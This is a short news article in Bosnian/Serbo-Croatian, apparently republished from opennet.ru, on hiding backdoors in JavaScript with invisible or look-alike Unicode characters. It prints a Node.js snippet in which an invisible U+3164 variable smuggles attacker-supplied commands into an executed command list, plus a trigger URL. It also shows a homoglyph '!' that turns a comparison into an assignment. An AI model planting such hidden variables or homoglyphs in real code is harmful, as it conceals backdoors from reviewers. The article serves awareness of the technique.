Korištenje nevidljivih unicode znakova za skrivanje radnji u JavaScript kodu

Prateći metodu napada Trojan Source, koja se zasniva na korištenju Unicode znakova koji mijenjaju redoslijed prikaza dvosmjernog teksta, objavljena je još jedna tehnika za uvođenje skrivenih akcija, primjenjiva na JavaScript kod. Nova metoda se zasniva na upotrebi unicode znaka “ㅤ” (šifra 0x3164, “HANGUL FILLER”), koji pripada kategoriji slova, ali nema vidljiv sadržaj. Unicode kategorija kojoj pripada ovaj znak dozvoljena je od specifikacije ECMAScript 2015 za upotrebu u imenima JavaScript varijabli, što omogućava kreiranje nevidljivih varijabli ili novih varijabli koje se ne razlikuju od drugih varijabli u popularnim uređivačima koda kao što su Notepad++ i VS Code.

Kao primjer, dat je kod za platformu Node.js, u kojem je, korištenjem varijable koja se sastoji od jednog znaka “ㅤ”, skrivena pozadinska vrata koja omogućavaju izvršavanje koda koji je odredio napadač: app.get('/ network_health', async (req, res) = > { const { timeout,ㅤ} = req.query; // zapravo piše “const { timeout,ㅤ \u3164}” const checkCommands = [ 'ping -c 1 google. com', 'curl -s http:// example.com/',ㅤ // iza zareza slijedi znak \u3164 ];

Na prvi pogled, kroz eksterni parametar se prosljeđuje samo vrijednost timeout-a, a niz sa komandama koje treba izvršiti sadrži bezopasnu fiksnu listu. Ali u stvari, nakon varijable timeouta, dodjeljuje se vrijednost druge nevidljive varijable s kodom karaktera \u3164, koja se također zamjenjuje u niz izvršnih naredbi. Stoga, ako je takav dizajn dostupan, napadač može poslati zahtjev poput “https://host:8080/network_health?%E3%85%A4=command” da aktivira backdoor i izvrši svoj kod.

Drugi primjer je znak "ǃ" (ALVEOLARNI KLIK), koji se može koristiti za davanje izgleda kao znak uzvika. Na primjer, izraz “if(environmentǃ=ENV_PROD){” kada se izvrši u Node.js 14 uvijek će biti tačan, jer ne provjerava razlike, već dodjeljuje vrijednost ENV_PROD varijabli “environmentǃ”. Ostali obmanjujući unikod znakovi uključuju "/", "−", "+", "⩵", "❨", "⫽", "꓿" i "∗".

izvor: opennet.ru

Dodajte komentar